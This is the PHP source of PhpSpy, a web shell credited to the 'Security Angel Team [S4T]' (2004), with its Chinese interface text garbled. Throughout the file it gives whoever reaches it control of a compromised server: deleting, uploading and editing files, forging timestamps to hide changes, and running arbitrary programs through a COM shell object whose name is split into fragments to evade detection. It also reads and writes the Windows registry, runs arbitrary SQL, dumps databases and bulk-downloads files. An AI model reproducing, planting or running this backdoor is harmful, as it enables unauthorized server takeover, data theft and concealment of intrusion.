tableheader();
$tb->tdbody('| '.$_SERVER['HTTP_HOST'].' | '.$_SERVER['REMOTE_ADDR'].' |
','center','top');
$tb->tdbody('ע���Ự | ����PhpSpyĿ¼ | PHP�������� | ���ߴ���'.$reg.$phpinfo.' | WebShell | SQL Query | MySQL Backup');
$tb->tablefooter();
?>
headerform(array('method'=>'GET','content'=>'����·��: '.$pathname.'
��ǰĿ¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
��תĿ¼: '.$tb->makeinput('dir').' '.$tb->makeinput('','ȷ��','','submit').' ��֧�־���·�������·����'));
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'�ϴ��ļ�����ǰĿ¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','ȷ��','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'�½��ļ��ڵ�ǰĿ¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','ȷ��','','submit')));
$tb->headerform(array('content'=>'�½�Ŀ¼�ڵ�ǰĿ¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','ȷ��','','submit')));
?>
\n";
// ɾ���ļ�
if (!empty($delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile." ɾ���ɹ�!" : "�ļ�ɾ��ʧ��!";
} else {
echo basename($delfile)." �ļ��Ѳ�����!";
}
}
// ɾ��Ŀ¼
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldirs")) {
echo "$deldir Ŀ¼�Ѳ�����!";
} else {
echo (deltree($deldirs)) ? "Ŀ¼ɾ���ɹ�!" : "Ŀ¼ɾ��ʧ��!";
}
}
// ����Ŀ¼
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs")) {
echo "��Ŀ¼�Ѵ���!";
} else {
echo (@mkdir("$mkdirs",0777)) ? "����Ŀ¼�ɹ�!" : "����ʧ��!";
@chmod("$mkdirs",0777);
}
}
}
// �ϴ��ļ�
elseif ($doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "�ϴ��ɹ�!" : "�ϴ�ʧ��!";
}
// �༭�ļ�
elseif ($_POST['do'] == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
$filename="$editfilename";
@$fp=fopen("$filename","w");
echo $msg=@fwrite($fp,$_POST['filecontent']) ? "д���ļ��ɹ�!" : "д��ʧ��!";
@fclose($fp);
} else {
echo "��������Ҫ�༭���ļ���!";
}
}
// �༭�ļ�����
elseif ($_POST['do'] == 'editfileperm') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10);
echo (@chmod($dir."/".$file,$fileperm)) ? "�����ijɹ�!" : "��ʧ��!";
echo " �ļ� ".$file." �ĺ������Ϊ: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
} else {
echo "��������Ҫ���õ�����!";
}
}
// �ļ�����
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST['newname']." �Ѿ�����,����������һ��!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." �ɹ�����Ϊ ".$_POST['newname']." !" : "�ļ�����ʧ��!";
}
} else {
echo "��������Ҫ�ĵ��ļ���!";
}
}
// ��¡ʱ��
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "Ҫ�ĵ��ļ�������!";
} else {
if (!@file_exists($_POST['tarfile'])) {
echo "Ҫ���յ��ļ�������!";
} else {
$time=@filemtime($_POST['tarfile']);
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." ����ʱ��ɹ���Ϊ ".date("Y-m-d H:i:s",$time)." !" : "�ļ�����ʱ����ʧ��!";
}
}
}
// �Զ���ʱ��
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists($_POST['curfile'])) {
echo "Ҫ�ĵ��ļ�������!";
} else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
$time=strtotime("$data $month $year $hour:$minute:$second");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." ����ʱ��ɹ���Ϊ ".date("Y-m-d H:i:s",$time)." !" : "�ļ�����ʱ����ʧ��!";
}
}
}
// ����MYSQL
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo "���ݿ����ӳɹ�!";
mysql_close();
} else {
echo mysql_error();
}
}
// ִ��SQL���
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("���ݿ�����ʧ��");
@mysql_select_db($dbname) or die("ѡ�����ݿ�ʧ��");
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? "SQL���ɹ�ִ��!" : "����: ".mysql_error();
mysql_close();
}
// ���ݲ���
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
echo "��ѡ�������ݵ����ݱ��ͱ��ݷ�ʽ!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("���ݿ�����ʧ��");
@mysql_select_db($dbname) or die("ѡ�����ݿ�ʧ��");
$table = array_flip($_POST['table']);
$filehandle = @fopen($path,"w");
if ($filehandle) {
$result = mysql_query("SHOW tables");
echo ($result) ? NULL : "����: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n");
}
}
fclose($filehandle);
echo "���ݿ��ѳɹ����ݵ� ".$path."";
mysql_close();
} else {
echo "����ʧ��,��ȷ��Ŀ���ļ����Ƿ���п�дȨ��!";
}
}
}
}
// ������� PS:�ļ�̫����ܷdz���
// Thx : ��
elseif($downrar) {
if (!empty($dl)) {
$dfiles="";
foreach ($dl AS $filepath=>$value) {
$dfiles.=$filepath.",";
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(",",$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz");
echo $code;
exit;
} else {
echo "��ѡ��Ҫ������ص��ļ�!";
}
}
// Shell.Application �����
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') ? "�����Ѿ��ɹ�ִ��!" : "��������ʧ��!";
}
// �鿴PHP���ò���״��
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "���� ".$_POST['phpvarname']." �����: ".getphpcfg($_POST['phpvarname'])."";
}
// ��ȡע���
elseif(($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
var_dump(@$shell->RegRead($_POST['readregname']));
}
// д��ע���
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') ? "д��ע�����ֵ�ɹ�!" : "д�� ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." ʧ��!";
}
// ɾ��ע���
elseif(($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
$a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0') ? "ɾ��ע�����ֵ�ɹ�!" : "ɾ�� ".$_POST['delregname']." ʧ��!";
}
else {
echo "�������� Security Angel С�� angel [BST] ��������,���� www.4ngel.net �������°汾.";
}
echo "\n";
/*===================== ִ�в��� ���� =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$tb->tableheader();
?>
�ļ�
��������
�����
��С
����
����
\n";
echo " [$file]\n";
echo " $ctime\n";
echo " $mtime\n";
echo " <dir>\n";
echo " $dirperm\n";
echo " ɾ��\n";
echo "\n";
$dir_i++;
} else {
if($file=="..") {
echo "\n";
echo " �����ϼ�Ŀ¼\n";
echo "\n";
}
}
}
}// while
@closedir($dirs);
?>
\n";
echo "\n";
}// end dir
elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'�½�/�༭�ļ�');
$tb->tdbody('��ǰ�ļ�: '.$tb->makeinput('editfilename',$filename).' �������ļ����������ļ�');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile');
$tb->formfooter('1','30');
}//end editfile
elseif ($_GET['action'] == "rename") {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'���ļ���');
$tb->makehidden('oldname',$dir."/".$nowfile);
$tb->makehidden('dir',$dir);
$tb->tdbody('��ǰ�ļ���: '.basename($nowfile));
$tb->tdbody('����Ϊ: '.$tb->makeinput('newname'));
$tb->makehidden('do','rename');
$tb->formfooter('1','30');
}//end rename
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'���ļ�����');
$tb->tdbody('�� '.$file.' ������Ϊ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm
elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir);
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
$tb->tableheader();
$tb->formheader($action,'��¡�ļ������ʱ��');
$tb->tdbody("���ļ�: ".$tb->makeinput('curfile',$file,'readonly')." �� Ŀ���ļ�: ".$tb->makeinput('tarfile','��������·�����ļ���'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,'�Զ����ļ������ʱ��');
$tb->tdbody('
- ��Ч��ʱ������ͷ�Χ�ǴӸ�������ʱ�� 1901 �� 12 �� 13 �� ������ 20:45:54 �� 2038�� 1 �� 19 �� ���ڶ� 03:14:07
(�����ڸ��� 32 λ�з�����������Сֵ�����ֵ����) - ˵��: ��ȡ 01 �� 30 ֮��, ʱȡ 0 �� 24 ֮��, �ֺ���ȡ 0 �� 60 ֮��!
','left');
$tb->tdbody('��ǰ�ļ���: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('��Ϊ: '.$tb->makeinput('year','1984','','text','4').' �� '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' �� '.$tb->makeinput('data','18','','text','2').' �� '.$tb->makeinput('hour','20','','text','2').' ʱ '.$tb->makeinput('minute','00','','text','2').' �� '.$tb->makeinput('second','00','','text','2').' ��','center','2','30');
$tb->makehidden('do','modmytime');
$tb->formfooter('1','30');
}//end newtime
elseif ($_GET['action'] == "shell") {
$action = "??action=shell&dir=".urlencode($dir);
$tb->tableheader();
$tb->tdheader('WebShell Mode');
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
echo "\n";
}
echo "
tableheader();
$tb->formheader($action,'��ȡע���');
$tb->tdbody('��ֵ: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','��ȡ','','submit'),'center','2','50');
echo "";
$tb->formheader($action,'д��ע���');
$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
$tb->tdbody('��ֵ: '.$tb->makeinput('writeregname',$registre,'','text','56').' ����: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' ֵ: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','д��','','submit'),'center','2','50');
echo "";
$tb->formheader($action,'ɾ��ע���');
$tb->tdbody('��ֵ: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','ɾ��','','submit'),'center','2','50');
echo "";
$tb->tablefooter();
}//end reg
elseif ($_GET['action'] == "proxy") {
$action = '?action=proxy';
$tb->tableheader();
$tb->formheader($action,'���ߴ���','proxyframe');
$tb->tdbody('
- �ñ����ܽ�ʵ�ּ� HTTP ����,������ʾʹ�����·����ͼƬ�����Ӽ�CSS��ʽ��.
- �ñ����ܿ���ͨ�������������Ŀ��URL,����֧�� SQL Injection ̽���Լ�ijЩ�����ַ�.
- �ñ���������� URL,��Ŀ�����������µ�IP��¼�� : '.$_SERVER['REMOTE_ADDR'].'
','left');
$tb->tdbody('URL: '.$tb->makeinput('url','http://www.4ngel.net','','text','100').' '.$tb->makeinput('','���','','submit'),'center','1','40');
$tb->tdbody('');
echo "";
$tb->tablefooter();
}//end proxy
elseif ($_GET['action'] == "sql") {
$action = '?action=sql';
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$sql_query = $_POST['sql_query'];
$tb->tableheader();
$tb->formheader($action,'ִ�� SQL ���');
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','����','','submit'));
$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
$tb->makehidden('do','query');
$tb->formfooter('1','30');
}//end sql query
elseif ($_GET['action'] == "sqlbak") {
$action = '?action=sqlbak';
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$tb->tableheader();
$tb->formheader($action,'���� MySQL ���ݿ�');
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','����','','submit'));
@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
$tables = @mysql_list_tables($dbname);
while ($table = @mysql_fetch_row($tables)) {
$cachetables[$table[0]] = $table[0];
}
@mysql_free_result($tables);
if (empty($cachetables)) {
$tb->tdbody('��û���������ݿ� or ��ǰ���ݿ�û���κ����ݱ�');
} else {
$tb->tdbody('');
$tb->makehidden('do','backupmysql');
$tb->formfooter('0','30');
}
$tb->tablefooter();
@mysql_close();
}//end sql backup
elseif ($_GET['action'] == "phpenv") {
$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "�������ϴ�";
$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from")."";
if ($dis_func == "") {
$dis_func = "No";
}else {
$dis_func = str_replace(" ","
",$dis_func);
$dis_func = str_replace(",","
",$dis_func);
}
$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
$info = array(
0 => array("������ʱ��",date("Y��m��d�� h:i:s",time())),
1 => array("����������","".$_SERVER['SERVER_NAME'].""),
2 => array("������IP��ַ",gethostbyname($_SERVER['SERVER_NAME'])),
3 => array("����������ϵͳ",PHP_OS),
5 => array("����������ϵͳ���ֱ���",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array("��������������",$_SERVER['SERVER_SOFTWARE']),
7 => array("Web����˿�",$_SERVER['SERVER_PORT']),
8 => array("PHP���з�ʽ",strtoupper(php_sapi_name())),
9 => array("PHP�汾",PHP_VERSION),
10 => array("�����ڰ�ȫģʽ",getphpcfg("safemode")),
11 => array("����������Ա",$adminmail),
12 => array("���ļ�·��",__FILE__),
13 => array("����ʹ�� URL ���ļ� allow_url_fopen",getphpcfg("allow_url_fopen")),
14 => array("������̬�������ӿ� enable_dl",getphpcfg("enable_dl")),
15 => array("��ʾ������Ϣ display_errors",getphpcfg("display_errors")),
16 => array("�Զ�����ȫ�ֱ��� register_globals",getphpcfg("register_globals")),
17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")),
18 => array("�����������ʹ���ڴ��� memory_limit",getphpcfg("memory_limit")),
19 => array("POST����ֽ��� post_max_size",getphpcfg("post_max_size")),
20 => array("��������ϴ��ļ� upload_max_filesize",$upsize),
21 => array("���������ʱ�� max_execution_time",getphpcfg("max_execution_time")."��"),
22 => array("�����õĺ��� disable_functions",$dis_func),
23 => array("phpinfo()",$phpinfo),
24 => array("Ŀǰ���п���ռ�diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
25 => array("ͼ�δ��� GD Library",getfun("imageline")),
26 => array("IMAP�����ʼ�ϵͳ",getfun("imap_close")),
27 => array("MySQL���ݿ�",getfun("mysql_close")),
28 => array("SyBase���ݿ�",getfun("sybase_close")),
29 => array("Oracle���ݿ�",getfun("ora_close")),
30 => array("Oracle 8 ���ݿ�",getfun("OCILogOff")),
31 => array("PREL����� PCRE",getfun("preg_match")),
32 => array("PDF�ĵ�֧��",getfun("pdf_close")),
33 => array("Postgre SQL���ݿ�",getfun("pg_close")),
34 => array("SNMP���������",getfun("snmpget")),
35 => array("ѹ���ļ�֧��(Zlib)",getfun("gzclose")),
36 => array("XML����",getfun("xml_set_object")),
37 => array("FTP",getfun("ftp_login")),
38 => array("ODBC���ݿ�����",getfun("odbc_close")),
39 => array("Session֧��",getfun("session_start")),
40 => array("Socket֧��",getfun("fsockopen")),
);
$tb->tableheader();
echo "\n";
$hp = array(0=> '����������', 1=> 'PHP��������', 2=> '���֧��״��');
for ($a=0;$a<3;$a++) {
$tb->tdbody(''.$hp[1].'','left','1','30','style="padding-left: 5px;"');
?>
\n";
}
} elseif ($a == 1) {
for ($i=13;$i<=24;$i++) {
echo "\n";
}
} elseif ($a == 2) {
for ($i=25;$i<=40;$i++) {
echo "\n";
}
}
?>
| ".$info[$i][0]." | ".$info[$i][1]." |
| ".$info[$i][0]." | ".$info[$i][1]." |
| ".$info[$i][0]." | ".$info[$i][1]." |
";
}//end phpenv
?>
| Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved. |
|